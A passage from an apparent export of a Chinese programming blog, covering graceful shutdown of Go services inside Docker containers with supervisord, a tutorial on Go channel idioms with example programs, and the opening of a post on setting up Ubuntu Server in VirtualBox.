err: %v\\n\u0026rdquo;, err)\nreturn\n}\nif pid == 0 {\nfmt.Printf(\u0026ldquo;i am in child process, pid = %v\\n\u0026rdquo;, syscall.Getpid())\ntime.Sleep(time.Hour) // make the child process wait\n}\nfmt.Printf(\u0026ldquo;i am parent process, pid = %v\\n\u0026rdquo;, syscall.Getpid())\nfmt.Printf(\u0026ldquo;fork ok, childpid = %v\\n\u0026rdquo;, pid)\ntime.Sleep(time.Hour) // make the main goroutine wait!\n}\nfunc sysSignalHandleDemo() {\nss := signalSetNew()\nhandler := func(s os.Signal, arg interface{}) {\nfmt.Printf(\u0026quot;%v: handle signal: %v\\n\u0026rdquo;, syscall.Getpid(), s)\nif s == syscall.SIGTERM {\nfmt.Printf(\u0026quot;%v: signal termiate received, app exit normally\\n\u0026rdquo;, syscall.Getpid())\nos.Exit(0)\n}\n}\nss.register(syscall.SIGINT, handler)\nss.register(syscall.SIGUSR1, handler)\nss.register(syscall.SIGUSR2, handler)\nss.register(syscall.SIGTERM, handler)\nfor {\nc := make(chan os.Signal)\nvar sigs []os.Signal\nfor sig := range ss.m {\nsigs = append(sigs, sig)\n}\nsignal.Notify(c)\nsig := \u0026lt;-c\nerr := ss.handle(sig, nil)\nif err != nil {\nfmt.Printf(\u0026quot;%v: unknown signal received: %v, app exit unexpectedly\\n\u0026quot;, syscall.Getpid(), sig)\nos.Exit(1)\n}\n}\n}\ndockerapp3利用fork创建了一个子进程，这样dockerapp3实际上是两个进程在运行，各自有自己的signal监听 goroutine，goroutine的处理逻辑是相同的。注意：由于Windows和Mac OS X不具备fork语义，因此在这两个平台上运行dockerapp3不会得到预期结果。\n利用dockerapp3，我们创建image \u0026ldquo;test:v3\u0026rdquo;:\n$ sudo docker build -t=\u0026ldquo;test:v3\u0026rdquo; ./\n[sudo] password for tonybai:\nSending build context to Docker daemon 11.24 MB\nSending build context to Docker daemon\nStep 0 : FROM centos:centos6\n—\u0026gt; 68edf809afe7\nStep 1 : MAINTAINER Tony Bai bigwhite.cn@gmail.com\n—\u0026gt; Using cache\n—\u0026gt; c617b456934a\nStep 2 : COPY ./dockerapp3 /bin/\n—\u0026gt; 6ccf97065853\nRemoving intermediate container 6d85fe241939\nStep 3 : CMD /bin/dockerapp3\n—\u0026gt; Running in 75d76380992a\n—\u0026gt; c9e7bf361ed7\nRemoving intermediate container 75d76380992a\nSuccessfully built c9e7bf361ed7\n启动基于test:v3 image的容器：\n$ sudo docker run -d \u0026ldquo;test:v3\u0026rdquo;\n781cecb4b3628cb33e1b104ea57e506ad5cb4a44243256ebd1192af86834bae6\n$ sudo docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n781cecb4b362 test:v3 \u0026ldquo;/bin/sh -c /bin/doc 5 seconds ago Up 4 seconds insane_bohr\n通过docker logs查看dockerapp3的输出：\n$ sudo docker logs 781cecb4b362\ni am parent process, pid = 1\nfork ok, childpid = 13\ni am in child process, pid = 13\n可以看出主进程pid为1，子进程pid为13。我们通过stop停止该容器：\n$ sudo docker stop 781cecb4b362\n781cecb4b362\n再次通过docker logs查看：\n$ sudo docker logs 781cecb4b362\ni am parent process, pid = 1\nfork ok, childpid = 13\ni am in child process, pid = 13\n1: handle signal: terminated\n1: signal termiate received, app exit normally\n我们可以看到主进程收到了stop发来的SIGTERM并退出，主进程的退出导致容器退出，导致子进程13也无法生存，并且没有优雅退出。而在非 容器状态下，子进程是可以被init进程接管的。\n因此对于docker容器内运行的多进程程序，stop命令只会将SIGTERM发送给容器主进程，要想让其他进程也能优雅退出，需要在主进程与 其他进程间建立一种通信机制。在主进程退出前，等待其他子进程退出。待所有其他进程退出后，主进程再退出，容器停止。这样才能保证服务程序的优雅 退出。\n七、容器内启动多个服务程序\n虽说docker best practice建议一个container内只放置一个服务程序，但对已有的一些遗留系统，在架构没有做出重构之前，很可能会有在一个 container中部署两个以上服务程序的情况和需求。而docker Dockerfile只允许执行一个CMD，这种情况下，我们就需要借助类似supervisor这样的进程监控管理程序来启动和管理container 内的多个程序了。\n下面我们来自制作一个基于centos:centos6的安装了supervisord以及两个服务程序的image。我们将dockerapp1拷贝一份，并将拷贝命名为dockerapp1-brother。下面是我们的Dockerfile：\nFROM centos:centos6\nMAINTAINER Tony Bai bigwhite.cn@gmail.com\nRUN yum install python-setuptools -y\nRUN easy_install supervisor\nRUN mkdir -p /var/log/supervisor\nCOPY ./supervisord.conf /etc/supervisord.conf\nCOPY ./dockerapp1 /bin/\nCOPY ./dockerapp1-brother /bin/\nCMD [\u0026quot;/usr/bin/supervisord\u0026rdquo;]\nsupervisord的配置文件supervisord.conf内容如下：\n; supervisor config file\n[unix_http_server]\nfile=/var/run/supervisor.sock ; (the path to the socket file)\nchmod=0700 ; sockef file mode (default 0700)\n[supervisord]\nlogfile=/var/log/supervisor/supervisord.log ; (main log file;default $CWD/supervisord.log)\npidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid)\nchildlogdir=/var/log/supervisor ; (\u0026lsquo;AUTO\u0026rsquo; child log dir, default $TEMP)\n[rpcinterface:supervisor]\nsupervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface\n[supervisorctl]\nserverurl=unix:///var/run/supervisor.sock ; use a unix:// URL for a unix socket\n[supervisord]\nnodaemon=false\n[program:dockerapp1]\ncommand=/bin/dockerapp1\nstdout_logfile=/tmp/dockerapp1.log\nstopsignal=TERM\nstopwaitsecs=10\n[program:dockerapp1-brother]\ncommand=/bin/dockerapp1-brother\nstdout_logfile=/tmp/dockerapp1-brother.log\nstopsignal=QUIT\nstopwaitsecs=10\n开始build镜像：\n$\u0026gt; sudo docker build -t=\u0026ldquo;test:supervisor-v1\u0026rdquo; ./\n… …\nSuccessfully built d006b9ad10eb\n基于该镜像，启动一个容器：\n$\u0026gt; sudo docker run -d \u0026ldquo;test:supervisor-v1\u0026rdquo;\n05ded2b898c90059d4c9b5c6ccc8603b6848ae767360c42bd9b36ff87fb4b9df\n执行ps命令查看镜像id：\n$ sudo docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n怎么回事？Container没有启动起来？\n$ sudo docker ps -a\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n05ded2b898c9 test:supervisor-v1 \u0026ldquo;/usr/bin/supervisor 22 seconds ago Exited (0) 21 seconds ago hungry_engelbart\n通过ps -a查看，container启动是成功了，但是成功退出了。于是尝试查看一下log：\nsudo docker logs 05ded2b898c9\n/usr/lib/python2.6/site-packages/supervisor-3.1.2-py2.6.egg/supervisor/options.py:296: UserWarning: Supervisord is running as root and it is searching for its configuration file in default locations (including its current working directory); you probably want to specify a \u0026ldquo;-c\u0026rdquo; argument specifying an absolute path to a configuration file for improved security.\n\u0026lsquo;Supervisord is running as root and it is searching '\n似乎是supervisord转为daemon程序，容器主进程退出了，容器随之终止了。\n看来容器内的supervisord不能以daemon形式运行，应该以前台形式run。修改一下supervisord.conf中得配置：\n将\n[supervisord]\nnodaemon=false\n改为\n[supervisord]\nnodaemon=true\n重新制作镜像:\n$ sudo docker build -t=\u0026ldquo;test:supervisor-v2\u0026rdquo; ./\nSending build context to Docker daemon 13.12 MB\nSending build context to Docker daemon\nStep 0 : FROM centos:centos6\n—\u0026gt; 68edf809afe7\nStep 1 : MAINTAINER Tony Bai bigwhite.cn@gmail.com\n—\u0026gt; Using cache\n—\u0026gt; c617b456934a\nStep 2 : RUN yum install python-setuptools -y\n—\u0026gt; Using cache\n—\u0026gt; e09c66a1ea8c\nStep 3 : RUN easy_install supervisor\n—\u0026gt; Using cache\n—\u0026gt; 9c8797e8c27e\nStep 4 : RUN mkdir -p /var/log/supervisor\n—\u0026gt; Using cache\n—\u0026gt; 9bfc67f8517d\nStep 5 : COPY ./supervisord.conf /etc/supervisord.conf\n—\u0026gt; 8c514f998363\nRemoving intermediate container 4a185856e6ed\nStep 6 : COPY ./dockerapp1 /bin/\n—\u0026gt; 0317bd4914d3\nRemoving intermediate container ac5738380854\nStep 7 : COPY ./dockerapp1-brother /bin/\n—\u0026gt; d89711888bdf\nRemoving intermediate container eadc9444e716\nStep 8 : CMD [\u0026quot;/usr/bin/supervisord\u0026rdquo;]\n—\u0026gt; Running in aaa042ac3914\n—\u0026gt; 9655256bbfed\nRemoving intermediate container aaa042ac3914\nSuccessfully built 9655256bbfed\n有了前面的铺垫，这次build image瞬间完成。启动容器，查看容器启动状态，查看容器内supervisord的运行日志如下：\n$ sudo docker run -d \u0026ldquo;test:supervisor-v2\u0026rdquo;\n61916f1c82338b28ced101b6bde119e4afb7c7fa349b4332ed51a43a4586b1b9\n$ sudo docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n61916f1c8233 test:supervisor-v2 \u0026ldquo;/usr/bin/supervisor 16 seconds ago Up 16 seconds prickly_einstein\n$ sudo docker logs 8eb3e9892e66\n/usr/lib/python2.6/site-packages/supervisor-3.1.2-py2.6.egg/supervisor/options.py:296: UserWarning: Supervisord is running as root and it is searching for its configuration file in default locations (including its current working directory); you probably want to specify a \u0026ldquo;-c\u0026rdquo; argument specifying an absolute path to a configuration file for improved security.\n\u0026lsquo;Supervisord is running as root and it is searching \u0026rsquo;\n2014-10-09 14:36:02,334 CRIT Supervisor running as root (no user in config file)\n2014-10-09 14:36:02,349 INFO RPC interface \u0026lsquo;supervisor\u0026rsquo; initialized\n2014-10-09 14:36:02,349 CRIT Server \u0026lsquo;unix_http_server\u0026rsquo; running without any HTTP authentication checking\n2014-10-09 14:36:02,349 INFO supervisord started with pid 1\n2014-10-09 14:36:03,354 INFO spawned: \u0026lsquo;dockerapp1\u0026rsquo; with pid 14\n2014-10-09 14:36:03,363 INFO spawned: \u0026lsquo;dockerapp1-brother\u0026rsquo; with pid 15\n2014-10-09 14:36:04,368 INFO success: dockerapp1 entered RUNNING state, process has stayed up for \u0026gt; than 1 seconds (startsecs)\n2014-10-09 14:36:04,369 INFO success: dockerapp1-brother entered RUNNING state, process has stayed up for \u0026gt; than 1 seconds (startsecs)\n可以看到supervisord已经将dockerapp1和dockerapp1-brother启动起来了。\n现在我们尝试停止容器，我们预期是supervisord在退出前通知dockerapp1和dockerapp1-brother先退出，我们可以通过 查看容器内的/tmp/dockerapp1.log和/tmp/dockerapp1-brother.log来确认supervisord是否做了通 知。\n$ sudo docker stop 61916f1c8233\n61916f1c8233\n$ sudo docker logs 61916f1c8233\n… …\n2014-10-09 14:37:52,253 WARN received SIGTERM indicating exit request\n2014-10-09 14:37:52,254 INFO waiting for dockerapp1, dockerapp1-brother to die\n2014-10-09 14:37:52,254 INFO stopped: dockerapp1-brother (exit status 0)\n2014-10-09 14:37:52,256 INFO stopped: dockerapp1 (exit status 0)\n通过容器的log，我们看出supervisord是等待两个程序退出后才退出的，不过我们还是要看看两个程序的输出日志以最终确认。重新启动容器，通过nsenter进入到容器中。\n-bash-4.1# vi /tmp/dockerapp1.log\nhandle signal: terminated\nsignal termiate received, app exit normally\n-bash-4.1# vi /tmp/dockerapp1-brother.log\nhandle signal: terminated\nsignal termiate received, app exit normally\n两个程序的标准输出日志证实了我们的预期。\nBTW，在物理机上测试supervisord以daemon形式运行，当kill掉supervisord时，supervisord是不会通知其监控 和管理的程序退出的。只有在以non-daemon形式运行时，supervisord才会在退出前先通知下面的程序退出。如果在一段时间内下面程序没有 退出，supervisord在退出前会kill -9强制杀死这些程序的进程。\n最后要说的时，在验证一些想法时，没有必要build image，我们可以直接将本地文件copy到容器中，下面是一个例子，我们将dockerapp1和dockerapp1-brother拷贝到镜像中：\n$ sudo docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n4d8982bfccc7 centos:centos6 \u0026ldquo;/bin/bash\u0026rdquo; 26 minutes ago Up 26 minutes sharp_thompson $ sudo docker inspect -f \u0026lsquo;{{.Id}}\u0026rsquo; 4d8982bfccc7\n4d8982bfccc79dea762b41f8a6f669bda1ec73c8881b6ca76e7a7917c62972c4\n$ sudo cp dockerapp1 /var/lib/docker/aufs/mnt/4d8982bfccc79dea762b41f8a6f669bda1ec73c8881b6ca76e7a7917c62972c4/bin/dockerapp1\n$ sudo cp dockerapp1-brother /var/lib/docker/aufs/mnt/4d8982bfccc79dea762b41f8a6f669bda1ec73c8881b6ca76e7a7917c62972c4/bin/dockerapp1-brother\n","permalink":"https://tonybai.com/2014/10/09/gracefully-shutdown-app-running-in-docker/","summary":"\u003cp\u003e近期在试验如何将我们的产品部署到\u003ca href=\"http://docker.com/\"\u003edocker容器\u003c/a\u003e中去，这其中涉及到一个技术环节，那就是如何让docker容器退出时其内部运行的服务程序也 可以优雅的退出。所谓优雅退出，指的就是程序在退出前有清理资源（比如关闭文件描述符、关闭socket），保存必要中间状态，持久化内存数据 （比如将内存中的数据flush到文件中）的机会。docker作为目前最火的轻量级虚拟化技术，其在后台服务领域的应用是极其广泛的，其设计者 在程序优雅退出方面是有考虑的。下面我们由简单到复杂逐一考量一下。\u003c/p\u003e","title":"docker容器内服务程序的优雅退出"},{"content":"在进入正式内容前，我这里先顺便转发一则消息，那就是Golang 1.3.2已经正式发布了。国内的golangtc已经镜像了golang.org的安装包下载页面，国内go程序员与爱好者们可以到\u0026quot;Golang中 国\u0026quot;，即golangtc.com去下载go 1.3.2版本。\nGo这门语言也许你还不甚了解，甚至是完全不知道，这也有情可原，毕竟Go在TIOBE编程语言排行榜上位列30开外。但近期使用Golang 实现的一杀手级应用 Docker你却不该不知道。docker目前火得是一塌糊涂啊。你去国内外各大技术站点用眼轻瞥一下，如 果没有涉及到“docker”字样新闻的站点建 议你以后就不要再去访问了^_^。Docker是啥、怎么用以及基础实践可以参加国内一位仁兄的经验之作：《 Docker – 从入门到实践》。\n据我了解，目前国内试水Go语言开发后台系统的大公司与初创公司日益增多，比如七牛、京东、小米，盛大，金山，东软，搜狗等，在这里我们可以看到一些公司的Go语言应用列表，并且目前这个列表似乎依旧在丰富中。国内Go语言的推广与布道也再稳步推进中，不过目前来看多以Go入 门与基础为主题，Go idioms、tips或Best Practice的Share并不多见，想必国内的先行者、布道师们还在韬光养晦，积攒经验，等到时机来临再厚积薄发。另外国内似乎还没有一个针对Go的 布道平台，比如Golang技术大会之类的的平台。\n在国外，虽然Go也刚刚起步，但在Golang share的广度和深度方面显然更进一步。Go的国际会议目前还不多，除了Golang老东家Google在自己的各种大会上留给Golang展示自己的 机会外，由 Gopher Academy 发起的GopherCon 会议也于今年第一次举行，并放出诸多高质量资料，在这里可以下载。欧洲的Go语言大会.dotgo也即将开幕，估计后续这两个大会将撑起Golang技术分享 的旗帜。\n言归正传，这里要写的东西并非原创，自己的Go仅仅算是入门级别，工程经验、Best Practice等还谈不上有多少，因此这里主要是针对GopherCon2014上的“舶来品”的学习心得。来自CloudFlare的工程师John Graham-Cumming谈了关于 Channel的实践经验，这里针对其分享的内容，记录一些学习体会和理解，并结合一些外延知识，也可以算是一种学习笔记吧，仅供参考。\n一、Golang并发基础理论\nGolang在并发设计方面参考了C.A.R Hoare的CSP，即Communicating Sequential Processes并发模型理论。但就像John Graham-Cumming所说的那样，多数Golang程序员或爱好者仅仅停留在“知道”这一层次，理解CSP理论的并不多，毕竟多数程序员是搞工程 的。不过要想系统学习CSP的人可以从这里下载到CSP论文的最新版本。\n维基百科中概要罗列了CSP模型与另外一种并发模型Actor模型的区别：\nActor模型广义上讲与CSP模型很相似。但两种模型就提供的原语而言，又有一些根本上的不同之处：\n– CSP模型处理过程是匿名的，而Actor模型中的Actor则具有身份标识。\n– CSP模型的消息传递在收发消息进程间包含了一个交会点，即发送方只能在接收方准备好接收消息时才能发送消息。相反，actor模型中的消息传递是异步 的，即消息的发送和接收无需在同一时间进行，发送方可以在接收方准备好接收消息前将消息发送出去。这两种方案可以认为是彼此对偶的。在某种意义下，基于交 会点的系统可以通过构造带缓冲的通信的方式来模拟异步消息系统。而异步系统可以通过构造带消息/应答协议的方式来同步发送方和接收方来模拟交会点似的通信 方式。\n– CSP使用显式的Channel用于消息传递，而Actor模型则将消息发送给命名的目的Actor。这两种方法可以被认为是对偶的。某种意义下，进程可 以从一个实际上拥有身份标识的channel接收消息，而通过将actors构造成类Channel的行为模式也可以打破actors之间的名字耦合。\n二、Go Channel基本操作语法\nGo Channel的基本操作语法如下：\nc := make(chan bool) //创建一个无缓冲的bool型Channel\u2028c \u0026lt;- x //向一个Channel发送一个值\n\u0026lt;- c //从一个Channel中接收一个值\nx = \u0026lt;- c //从Channel c接收一个值并将其存储到x中\nx, ok = \u0026lt;- c //从Channel接收一个值，如果channel关闭了或没有数据，那么ok将被置为false\n_不带缓冲的Channel_兼具通信和同步两种特性，颇受青睐。\n三、Channel用作信号(Signal)的场景\n1、等待一个事件(Event)\n等待一个事件，有时候通过close一个Channel就足够了。例如：\n//testwaitevent1.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nfmt.Println(\u0026ldquo;Begin doing something!\u0026rdquo;)\nc := make(chan bool)\ngo func() {\nfmt.Println(\u0026ldquo;Doing something…\u0026rdquo;)\nclose(c)\n}()\n\u0026lt;-c\nfmt.Println(\u0026ldquo;Done!\u0026rdquo;)\n}\n这里main goroutine通过\u0026quot;\u0026lt;-c\u0026quot;来等待sub goroutine中的“完成事件”，sub goroutine通过close channel促发这一事件。当然也可以通过向Channel写入一个bool值的方式来作为事件通知。main goroutine在channel c上没有任何数据可读的情况下会阻塞等待。\n关于输出结果：\n根据《Go memory model》中关于close channel与recv from channel的order的定义：The closing of a channel happens before a receive that returns a zero value because the channel is closed.\n我们可以很容易判断出上面程序的输出结果：\nBegin doing something!\nDoing something…\nDone!\n如果将close(c)换成c\u0026lt;-true，则根据《Go memory model》中的定义：A receive from an unbuffered channel happens before the send on that channel completes.\n\u0026ldquo;\u0026lt;-c\u0026quot;要先于\u0026quot;c\u0026lt;-true\u0026quot;完成，但也不影响日志的输出顺序，输出结果仍为上面三行。\n2、协同多个Goroutines\n同上，close channel还可以用于协同多个Goroutines，比如下面这个例子，我们创建了100个Worker Goroutine，这些Goroutine在被创建出来后都阻塞在\u0026rdquo;\u0026lt;-start\u0026quot;上，直到我们在main goroutine中给出开工的信号：\u0026ldquo;close(start)\u0026quot;，这些goroutines才开始真正的并发运行起来。\n//testwaitevent2.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc worker(start chan bool, index int) {\n\u0026lt;-start\nfmt.Println(\u0026ldquo;This is Worker:\u0026rdquo;, index)\n}\nfunc main() {\nstart := make(chan bool)\nfor i := 1; i \u0026lt;= 100; i++ {\ngo worker(start, i)\n}\nclose(start)\nselect {} //deadlock we expected\n}\n3、Select\n【select的基本操作】\nselect是Go语言特有的操作，使用select我们可以同时在多个channel上进行发送/接收操作。下面是select的基本操作。\nselect {\ncase x := \u0026lt;- somechan:\n// … 使用x进行一些操作\ncase y, ok := \u0026lt;- someOtherchan:\n// … 使用y进行一些操作，\n// 检查ok值判断someOtherchan是否已经关闭\ncase outputChan \u0026lt;- z:\n// … z值被成功发送到Channel上时\ndefault:\n// … 上面case均无法通信时，执行此分支\n}\n【惯用法：for/select】\n我们在使用select时很少只是对其进行一次evaluation，我们常常将其与for {}结合在一起使用，并选择适当时机从for{}中退出。\nfor {\nselect {\ncase x := \u0026lt;- somechan:\n// … 使用x进行一些操作\ncase y, ok := \u0026lt;- someOtherchan:\n// … 使用y进行一些操作，\n// 检查ok值判断someOtherchan是否已经关闭\ncase outputChan \u0026lt;- z:\n// … z值被成功发送到Channel上时\ndefault:\n// … 上面case均无法通信时，执行此分支\n}\n}\n【终结workers】\n下面是一个常见的终结sub worker goroutines的方法，每个worker goroutine通过select监视一个die channel来及时获取main goroutine的退出通知。\n//testterminateworker1.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;time\u0026rdquo;\n)\nfunc worker(die chan bool, index int) {\nfmt.Println(\u0026ldquo;Begin: This is Worker:\u0026rdquo;, index)\nfor {\nselect {\n//case xx：\n//做事的分支\ncase \u0026lt;-die:\nfmt.Println(\u0026ldquo;Done: This is Worker:\u0026rdquo;, index)\nreturn\n}\n}\n}\nfunc main() {\ndie := make(chan bool)\nfor i := 1; i \u0026lt;= 100; i++ {\ngo worker(die, i)\n}\ntime.Sleep(time.Second * 5)\nclose(die)\nselect {} //deadlock we expected\n}\n【终结验证】\n有时候终结一个worker后，main goroutine想确认worker routine是否真正退出了，可采用下面这种方法：\n//testterminateworker2.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n//\u0026ldquo;time\u0026rdquo;\n)\nfunc worker(die chan bool) {\nfmt.Println(\u0026ldquo;Begin: This is Worker\u0026rdquo;)\nfor {\nselect {\n//case xx：\n//做事的分支\ncase \u0026lt;-die:\nfmt.Println(\u0026ldquo;Done: This is Worker\u0026rdquo;)\ndie \u0026lt;- true\nreturn\n}\n}\n}\nfunc main() {\ndie := make(chan bool)\ngo worker(die)\ndie \u0026lt;- true\n\u0026lt;-die\nfmt.Println(\u0026ldquo;Worker goroutine has been terminated\u0026rdquo;)\n}\n【关闭的Channel永远不会阻塞】\n下面演示在一个已经关闭了的channel上读写的结果：\n//testoperateonclosedchannel.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\ncb := make(chan bool)\nclose(cb)\nx := \u0026lt;-cb\nfmt.Printf(\u0026rdquo;%#v\\n\u0026quot;, x)\nx, ok := \u0026lt;-cb\nfmt.Printf(\u0026quot;%#v %#v\\n\u0026quot;, x, ok)\nci := make(chan int)\nclose(ci)\ny := \u0026lt;-ci\nfmt.Printf(\u0026quot;%#v\\n\u0026quot;, y)\ncb \u0026lt;- true\n}\n$go run testoperateonclosedchannel.go\nfalse\nfalse false\n0\npanic: runtime error: send on closed channel\n可以看到在一个已经close的unbuffered channel上执行读操作，回返回channel对应类型的零值，比如bool型channel返回false，int型channel返回0。但向close的channel写则会触发panic。不过无论读写都不会导致阻塞。\n【关闭带缓存的channel】\n将unbuffered channel换成buffered channel会怎样？我们看下面例子：\n//testclosedbufferedchannel.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\nc := make(chan int, 3)\nc \u0026lt;- 15\nc \u0026lt;- 34\nc \u0026lt;- 65\nclose(c)\nfmt.Printf(\u0026quot;%d\\n\u0026quot;, \u0026lt;-c)\nfmt.Printf(\u0026quot;%d\\n\u0026quot;, \u0026lt;-c)\nfmt.Printf(\u0026quot;%d\\n\u0026quot;, \u0026lt;-c)\nfmt.Printf(\u0026quot;%d\\n\u0026quot;, \u0026lt;-c)\nc \u0026lt;- 1\n}\n$go run testclosedbufferedchannel.go\n15\n34\n65\n0\npanic: runtime error: send on closed channel\n可以看出带缓冲的channel略有不同。尽管已经close了，但我们依旧可以从中读出关闭前写入的3个值。第四次读取时，则会返回该channel类型的零值。向这类channel写入操作也会触发panic。\n【range】\nGolang中的range常常和channel并肩作战，它被用来从channel中读取所有值。下面是一个简单的实例：\n//testrange.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc generator(strings chan string) {\nstrings \u0026lt;- \u0026ldquo;Five hour\u0026rsquo;s New York jet lag\u0026rdquo;\nstrings \u0026lt;- \u0026ldquo;and Cayce Pollard wakes in Camden Town\u0026rdquo;\nstrings \u0026lt;- \u0026ldquo;to the dire and ever-decreasing circles\u0026rdquo;\nstrings \u0026lt;- \u0026ldquo;of disrupted circadian rhythm.\u0026rdquo;\nclose(strings)\n}\nfunc main() {\nstrings := make(chan string)\ngo generator(strings)\nfor s := range strings {\nfmt.Printf(\u0026quot;%s\\n\u0026quot;, s)\n}\nfmt.Printf(\u0026quot;\\n\u0026quot;)\n}\n四、隐藏状态\n下面通过一个例子来演示一下channel如何用来隐藏状态：\n1、例子：唯一的ID服务\n//testuniqueid.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc newUniqueIDService() \u0026lt;-chan string {\nid := make(chan string)\ngo func() {\nvar counter int64 = 0\nfor {\nid \u0026lt;- fmt.Sprintf(\u0026quot;%x\u0026quot;, counter)\ncounter += 1\n}\n}()\nreturn id\n}\nfunc main() {\nid := newUniqueIDService()\nfor i := 0; i \u0026lt; 10; i++ {\nfmt.Println(\u0026lt;-id)\n}\n}\n$ go run testuniqueid.go\n0\n1\n2\n3\n4\n5\n6\n7\n8\n9\nnewUniqueIDService通过一个channel与main goroutine关联，main goroutine无需知道uniqueid实现的细节以及当前状态，只需通过channel获得最新id即可。\n五、默认情况\n我想这里John Graham-Cumming主要是想告诉我们select的default分支的实践用法。\n1、select for non-blocking receive\nidle:= make(chan []byte, 5) //用一个带缓冲的channel构造一个简单的队列\nselect {\ncase b = \u0026lt;-idle:\u2028//尝试从idle队列中读取\n…\ndefault: //队列空，分配一个新的buffer\nmakes += 1\nb = make([]byte, size)\n}\n2、select for non-blocking send\nidle:= make(chan []byte, 5) //用一个带缓冲的channel构造一个简单的队列\nselect {\ncase idle \u0026lt;- b: //尝试向队列中插入一个buffer\n//…\ndefault: //队列满？\n}\n六、Nil Channels\n1、nil channels阻塞\n对一个没有初始化的channel进行读写操作都将发生阻塞，例子如下：\npackage main\nfunc main() {\nvar c chan int\n\u0026lt;-c\n}\n$go run testnilchannel.go\nfatal error: all goroutines are asleep – deadlock!\npackage main\nfunc main() {\nvar c chan int\nc \u0026lt;- 1\n}\n$go run testnilchannel.go\nfatal error: all goroutines are asleep – deadlock!\n2、nil channel在select中很有用\n看下面这个例子：\n//testnilchannel_bad.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nimport \u0026ldquo;time\u0026rdquo;\nfunc main() {\nvar c1, c2 chan int = make(chan int), make(chan int)\ngo func() {\ntime.Sleep(time.Second * 5)\nc1 \u0026lt;- 5\nclose(c1)\n}()\ngo func() {\ntime.Sleep(time.Second * 7)\nc2 \u0026lt;- 7\nclose(c2)\n}()\nfor {\nselect {\ncase x := \u0026lt;-c1:\nfmt.Println(x)\ncase x := \u0026lt;-c2:\nfmt.Println(x)\n}\n}\nfmt.Println(\u0026ldquo;over\u0026rdquo;)\n}\n我们原本期望程序交替输出5和7两个数字，但实际的输出结果却是：\n5\n0\n0\n0\n… … 0死循环\n再仔细分析代码，原来select每次按case顺序evaluate：\n– 前5s，select一直阻塞；\n– 第5s，c1返回一个5后被close了，“case x := \u0026lt;-c1”这个分支返回，select输出5，并重新select\n– 下一轮select又从“case x := \u0026lt;-c1”这个分支开始evaluate，由于c1被close，按照前面的知识，close的channel不会阻塞，我们会读出这个 channel对应类型的零值，这里就是0；select再次输出0；这时即便c2有值返回，程序也不会走到c2这个分支\n– 依次类推，程序无限循环的输出0\n我们利用nil channel来改进这个程序，以实现我们的意图，代码如下：\n//testnilchannel.go\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nimport \u0026ldquo;time\u0026rdquo;\nfunc main() {\nvar c1, c2 chan int = make(chan int), make(chan int)\ngo func() {\ntime.Sleep(time.Second * 5)\nc1 \u0026lt;- 5\nclose(c1)\n}()\ngo func() {\ntime.Sleep(time.Second * 7)\nc2 \u0026lt;- 7\nclose(c2)\n}()\nfor {\nselect {\ncase x, ok := \u0026lt;-c1:\nif !ok {\nc1 = nil\n} else {\nfmt.Println(x)\n}\ncase x, ok := \u0026lt;-c2:\nif !ok {\nc2 = nil\n} else {\nfmt.Println(x)\n}\n}\nif c1 == nil \u0026amp;\u0026amp; c2 == nil {\nbreak\n}\n}\nfmt.Println(\u0026ldquo;over\u0026rdquo;)\n}\n$go run testnilchannel.go\n5\n7\nover\n可以看出：通过将已经关闭的channel置为nil，下次select将会阻塞在该channel上，使得select继续下面的分支evaluation。\n七、Timers\n1、超时机制Timeout\n带超时机制的select是常规的tip，下面是示例代码，实现30s的超时select：\nfunc worker(start chan bool) {\ntimeout := time.After(30 * time.Second)\nfor {\nselect {\n// … do some stuff\ncase \u0026lt;- timeout:\nreturn\n}\n}\n}\n2、心跳HeartBeart\n与timeout实现类似，下面是一个简单的心跳select实现：\nfunc worker(start chan bool) {\nheartbeat := time.Tick(30 * time.Second)\nfor {\nselect {\n// … do some stuff\ncase \u0026lt;- heartbeat:\n//… do heartbeat stuff\n}\n}\n}\n","permalink":"https://tonybai.com/2014/09/29/a-channel-compendium-for-golang/","summary":"\u003cp\u003e在进入正式内容前，我这里先顺便转发一则消息，那就是Golang 1.3.2已经正式发布了。国内的\u003ca href=\"http://golangtc.com/\"\u003egolangtc\u003c/a\u003e已经镜像了golang.org的安装包下载页面，国内go程序员与爱好者们可以到\u0026quot;Golang中 国\u0026quot;，即golangtc.com去下载go 1.3.2版本。\u003c/p\u003e","title":"Golang Channel用法简编"},{"content":"近期在研究docker这一轻量级容器引擎，研究docker对日常开发测试工作以及产品部署运维工作能带来哪些便利。前些时候刚刚将工作环境从 Ubuntu搬到了Mac Air上，对Mac OS X的一切均不甚熟悉，给docker研究带来了不便，于是打算在VirtualBox中安装一Ubuntu Server作为docker之承载平台。这里记录一下安装配置过程，主要为了备忘，如果能给其他人带来帮助，我会甚感欣慰。\ndocker官方对ubuntu的支持是蛮好的。docker对Linux内核版本有要求，要\u0026gt;=3.8，Ubuntu Server目前最新版本14.04.1恰符合这一要求，其kernel version = 3.13.0-32。\n一、VirtualBox安装Ubuntu Server 14.04.1\nVirtualBox安装Ubuntu OS做过了不止一遍，即便是换成最新的14.04.1 Server版，差别也没有太多，无非是按照安装提示，逐步Next。这里给Ubuntu Server 14.04分配了1G Memory, 32G动态硬盘空间。\n【配置源】\n默认情况下，/etc/apt/sources.list中只有一组源：cn.archive.ubuntu.com/ubuntu。这个国外源的下载速度显然无法满足我的要求，于是我把我常用的sohu源加入sources.list中，并且放在前面：\ndeb http://mirrors.sohu.com/ubuntu/ 